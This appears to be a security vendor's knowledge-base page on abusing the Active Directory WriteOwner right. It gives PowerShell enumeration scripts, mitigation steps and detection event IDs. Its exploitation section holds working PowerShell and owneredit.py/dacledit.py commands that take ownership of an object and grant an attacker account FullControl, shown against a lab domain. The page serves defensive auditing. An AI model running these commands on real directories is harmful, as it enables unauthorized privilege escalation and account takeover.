Skip to content

WriteOwner

Copy page

Summary

Forestall ACL Alias WriteOwner
AD Alias Modify Owner
Affected Object Types Users, Groups, Computers, Domains
Exploitation Certainty Certain
AD Right WriteOwner

Description

The WriteOwner permission in Active Directory allows a user to change the ownership of an object, such as user accounts, groups, or computers. This permission is essential for administrative tasks, enabling proper delegation and management within the directory.

However, if misconfigured, the WriteOwner permission can pose significant security risks. An attacker with this permission can assign ownership of an object to themselves. nce ownership is taken, the attacker can modify the object’s permissions to grant themselves additional rights, such as full control. This can lead to unauthorized access, privilege escalation, and persistent access within the system.

Identification

PowerShell

Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate WriteOwner entries.

1. Find-WriteOwner Function

function Find-WriteOwner {
[CmdletBinding()]
param ([string]$SearchBase = $null,[string]$OutputPath = "WriteOwner.csv",[string]$Target = $null,[switch]$ExcludeAdmins)
Import-Module ActiveDirectory -ErrorAction Stop
Write-Host "Gathering Active Directory objects and inspecting ACLs for vulnerable WriteOwner permissions..."
$Allow = [System.Security.AccessControl.AccessControlType]::Allow
$Right = [System.DirectoryServices.ActiveDirectoryRights]::WriteOwner
$DomainNetBIOSName = $null
try { $DomainNetBIOSName = (Get-ADDomain).NetBIOSName } catch {}
$ExcludedSIDs = @()
if ($ExcludeAdmins) {
Write-Host "Excluding default/well-known privileged principals..."
$ExcludedSIDs += New-Object System.Security.Principal.SecurityIdentifier 'S-1-3-0'
$nameCandidates = @(
'NT AUTHORITY\SYSTEM','NT AUTHORITY\SELF','BUILTIN\Administrators','BUILTIN\Account Operators','BUILTIN\Server Operators','BUILTIN\Backup Operators','BUILTIN\Print Operators','NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS')
if ($DomainNetBIOSName) {$nameCandidates += @( "$DomainNetBIOSName\Domain Admins","$DomainNetBIOSName\Enterprise Admins","$DomainNetBIOSName\Schema Admins","$DomainNetBIOSName\Domain Controllers", "$DomainNetBIOSName\Key Admins","$DomainNetBIOSName\RAS and IAS Servers","$DomainNetBIOSName\DnsAdmins","$DomainNetBIOSName\Enterprise Key Admins")}
foreach ($n in $nameCandidates) {try {$sid = (New-Object System.Security.Principal.NTAccount $n).Translate([System.Security.Principal.SecurityIdentifier]); $ExcludedSIDs += $sid} catch {}}
Get-ADDomainController -Filter * | ForEach-Object { $ExcludedSIDs += (Get-ADComputer -Identity $_.Name -Properties SID).SID}
$ExcludedSIDs = $ExcludedSIDs | Select-Object -Unique
}
$objectsToScan = @()
try {
if ($Target) {
Write-Host "Targeting single object DN: $Target"
$obj = Get-ADObject -Identity $Target -ErrorAction Stop
if ($obj) { $objectsToScan = @($obj) }
} else {
$adObjectParams = @{
LDAPFilter = "(objectClass=*)"
ResultPageSize = 2000
ResultSetSize = $null
ErrorAction = "Stop"
}
if ($SearchBase) {$adObjectParams["SearchBase"] = $SearchBase;Write-Host "Searching for objects within '$SearchBase'."} else { Write-Host "Searching for all objects in the domain." }
$objectsToScan = Get-ADObject @adObjectParams
}
if (-not $objectsToScan -or $objectsToScan.Count -eq 0) {Write-Output "No objects found matching the criteria."; return }}catch { Write-Error "Failed to retrieve Active Directory objects: $($_.Exception.Message)"; return}
$results = New-Object System.Collections.Generic.List[object]
foreach ($obj in $objectsToScan) {
$dn = $obj.DistinguishedName
try {
$acl = Get-Acl -Path "AD:$dn" -ErrorAction Stop
foreach ($ace in $acl.Access) {
if ($ace.AccessControlType -ne $Allow) { continue };if (-not (($ace.ActiveDirectoryRights -band $Right) -eq $Right)) { continue }
if ($ace.IsInherited) { continue }
if ($ExcludeAdmins) {$aceSid = $null
try {$aceSid = $ace.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier])} catch {}
if ($aceSid -and ($ExcludedSIDs -contains $aceSid)) {continue }
}
$results.Add([PSCustomObject]@{'Object Distinguished Name' = $dn
'Permission Holder' = $ace.IdentityReference.Value
'IsInherited' = $ace.IsInherited
'ACE Type' = $ace.AccessControlType
'Rights (bitmask)' = $ace.ActiveDirectoryRights
})}}catch {Write-Warning "Could not retrieve ACL for '$dn': $($_.Exception.Message)"}}
if ($results.Count -gt 0) {
Write-Host "Found $($results.Count) object(s) with vulnerable WriteOwner permissions$(if($ExcludeAdmins){' (excluding default entries)'})."
try {$results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop ;Write-Output "Results exported successfully to '$OutputPath'"}
catch { Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)" } } else { Write-Output "No Active Directory objects found with vulnerable WriteOwner permissions$(if($ExcludeAdmins){' (after exclusions)'})." }}

2. Scan all domain objects

Find-WriteOwner

3. Scan a specific object

Find-WriteOwner -Target "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"

4. Exclude default admins for clear visibility

Find-WriteOwner -ExcludeAdmins -Target "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"

5. Using SearchBase to limit the Scope

Find-WriteOwner -SearchBase "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate WriteOwner entries without relying on any external modules or dependencies.

1. Find-WriteOwnerSimple Function

function Find-WriteOwnerSimple {
[CmdletBinding()]
param ([string]$SearchBase = $null,[string]$OutputPath = "WriteOwner.csv", [string]$Target = $null,[switch]$ExcludeAdmins)
$Allow = [System.Security.AccessControl.AccessControlType]::Allow
$Right = [System.DirectoryServices.ActiveDirectoryRights]::WriteOwner
try {$root = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE");
$baseDN = $root.Properties["defaultNamingContext"].Value} catch {Write-Error "Failed to bind RootDSE: $_" ;return }
$ExcludedSIDs = @()
if ($ExcludeAdmins) {
$names = @('NT AUTHORITY\SYSTEM','NT AUTHORITY\SELF','BUILTIN\Administrators', 'BUILTIN\Account Operators','BUILTIN\Server Operators','BUILTIN\Backup Operators','BUILTIN\Print Operators','NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS')
$dom = $env:USERDOMAIN
if ($dom) {$names += @( "$dom\Domain Admins","$dom\Enterprise Admins","$dom\Schema Admins","$dom\Domain Controllers", "$dom\Key Admins","$dom\Enterprise Key Admins", "$dom\DnsAdmins","$dom\RAS and IAS Servers")}
foreach ($n in $names) {try {$ExcludedSIDs += ([System.Security.Principal.NTAccount]$n).Translate([System.Security.Principal.SecurityIdentifier])} catch {}}
try {
$dcOU = "LDAP://OU=Domain Controllers,$baseDN"
$dcRoot = New-Object System.DirectoryServices.DirectoryEntry($dcOU)
$ds = New-Object System.DirectoryServices.DirectorySearcher($dcRoot)
$ds.Filter = "(objectCategory=computer)"; $ds.PageSize = 1000
[void]$ds.PropertiesToLoad.Add("objectSid");$dcs = $ds.FindAll()
foreach ($dc in $dcs) {
try {$sidBytes = $dc.Properties["objectSid"][0];if ($sidBytes) { $ExcludedSIDs += New-Object System.Security.Principal.SecurityIdentifier($sidBytes,0) }} catch {}}} catch {}
try { $ExcludedSIDs += New-Object System.Security.Principal.SecurityIdentifier 'S-1-3-0' } catch {}
$ExcludedSIDs = $ExcludedSIDs | Select-Object -Unique
}
$entries = @()
if ($Target) { try {$entries = @( New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target") )} catch {Write-Error "Failed to bind to target '$Target': $_" ;return } } else {
$searchBaseDN = $SearchBase
if (-not $searchBaseDN) { $searchBaseDN = $baseDN }
try {
$searchRoot = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$searchBaseDN")
$ds = New-Object System.DirectoryServices.DirectorySearcher($searchRoot)
$ds.Filter = "(objectClass=*)";$ds.PageSize = 1000
[void]$ds.PropertiesToLoad.Add("distinguishedName");$hits = $ds.FindAll()
$entries = foreach ($h in $hits) {
try { $h.GetDirectoryEntry() } catch {}}} catch {Write-Error "LDAP enumeration failed: $_"; return}}
$results = New-Object System.Collections.Generic.List[object]
foreach ($entry in $entries) {
if (-not $entry) { continue };$dn = $null
try { $dn = $entry.Properties["distinguishedName"][0] } catch {};if (-not $dn) { continue }
try {$acl = $entry.ObjectSecurity ;$aces = $acl.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])} catch { Write-Warning "Could not read ACL for $dn : $_"; continue }
foreach ($ace in $aces) {
if ($ace.AccessControlType -ne $Allow) { continue } ;if ( ($ace.ActiveDirectoryRights -band $Right) -ne $Right ) { continue }
if ($ace.IsInherited) { continue }
if ($ExcludeAdmins) { try {$aceSid = [System.Security.Principal.SecurityIdentifier]$ace.IdentityReference;if ($ExcludedSIDs -and ($ExcludedSIDs -contains $aceSid)) { continue }} catch {}}
$who = try {$ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value} catch {$ace.IdentityReference.Value}
$results.Add([PSCustomObject]@{'Object Distinguished Name' = $dn; 'Permission Holder' = $who; 'IsInherited' = $ace.IsInherited; 'ACE Type' = $ace.AccessControlType; 'Rights (bitmask)' = $ace.ActiveDirectoryRights})}}
if ($results.Count -gt 0) { try { $results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8; Write-Host "Exported $($results.Count) entr$(if($results.Count -eq 1){'y'}else{'ies'}) to $OutputPath"} catch {Write-Error "Failed to export results: $_"}} else { Write-Host "No objects found with explicit non-inherited WriteOwner ACEs$(if($ExcludeAdmins){' after exclusions'})" }}

2. Scan all domain objects

Find-WriteOwnerSimple

3. Scan a specific object

Find-WriteOwnerSimple -Target "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"

4. Exclude default admins for clear visibility

Find-WriteOwnerSimple -ExcludeAdmins -Target "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"

5. Using SearchBase to limit the Scope

Find-WriteOwnerSimple -SearchBase "CN=Builtin,DC=Forestall,DC=labs"

Exploitation

After granting our controlled attacker account Full Control over the object, further exploitation can be carried out. For detailed techniques and scenarios, please refer to GenericAll.

The following examples demonstrate exploitation on Windows and Linux environments.

Windows

To change the object’s owner using AD Module

Import-Module ActiveDirectory
$objectDN = "<Vulnerable User>"
$acl = Get-Acl -Path "AD:$objectDN"
$newOwner = "<Attacker/Internal Threat>"
$acl.SetOwner([System.Security.Principal.NTAccount]$newOwner)
Set-Acl -Path "AD:$objectDN" -AclObject $acl

Example:

Import-Module ActiveDirectory
$objectDN = "CN=Backup Operators,CN=Builtin,DC=Forestall,DC=labs"
$acl = Get-Acl -Path "AD:$objectDN"
$newOwner = "forestall\adam"
$acl.SetOwner([System.Security.Principal.NTAccount]$newOwner)
Set-Acl -Path "AD:$objectDN" -AclObject $acl
Set Owner Powershell

Set Owner Powershell

Now FullControl access can be granted to the controlled user

Import-Module ActiveDirectory
$objectDN = "<objectDn>"
$targetUser = New-Object System.Security.Principal.NTAccount("<domain>","<user>")
$acl = Get-Acl -Path "AD:$objectDN"
$fullControlRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($targetUser,[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,[System.Security.AccessControl.AccessControlType]::Allow)
$acl.AddAccessRule($fullControlRule)
Set-Acl -Path "AD:$objectDN" -AclObject $acl

Example:

Import-Module ActiveDirectory
$objectDN = "CN=John,OU=Users,DC=forestall,DC=labs"
$targetUser = New-Object System.Security.Principal.NTAccount("FORESTALL","adam")
$acl = Get-Acl -Path "AD:$objectDN"
$fullControlRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($targetUser,[System.DirectoryServices.ActiveDirectoryRights]::GenericAll, [System.Security.AccessControl.AccessControlType]::Allow)
$acl.AddAccessRule($fullControlRule)
Set-Acl -Path "AD:$objectDN" -AclObject $acl
Generic All Powershell

Generic All Powershell

Linux

To change the object’s owner using owneredit.py

owneredit.py -new-owner <user> -target <targetobject> -action write <domain>/<user>:'<pass>' -dc-ip <dc-ip>

Example:

owneredit.py -new-owner adam -target john -action write forestall.labs/adam:'Temp123!' -dc-ip 192.168.231.21
Change Owner Linux

Change Owner Linux

Now FullControl access can be granted to the controlled user

dacledit.py -rights FullControl -principal <user> -target <targetObject> -action write <domain>/<user>:'<pass>' -dc-ip <dcip>

Example:

dacledit.py -rights FullControl -principal adam -target john -action write forestall.labs/adam:'Temp123!' -dc-ip 192.168.231.21
Grant FullControl Linux

Grant FullControl Linux

Mitigation

Access Control Entries identified as dangerous should be removed by following the steps below.

1. Open Active Directory Users and Computers, and enable the Advanced Features option.

2. Double click the affected object and open Security tab.

3. In this tab, click Advanced button and open the risky Access Control Entry.

4. Remove the Modify Owner right.

5. Click OK and Apply buttons for saving changes.

alt text

alt text

Detection

Ownership changes modify the ntSecurityDescriptor of an Active Directory object. Monitor for these events:

Event ID Description Fields/Attributes References
5136 A directory service object was modified. AttributeLDAPDisplayName (expected value ntSecurityDescriptor), ObjectDN https://learn.microsoft.com/windows/security/threat-protection/auditing/event-5136
4662 An operation was performed on an object. ObjectType, ObjectName, AccessMask https://learn.microsoft.com/windows/security/threat-protection/auditing/event-4662

References

Was this page helpful?

Thank you for your feedback.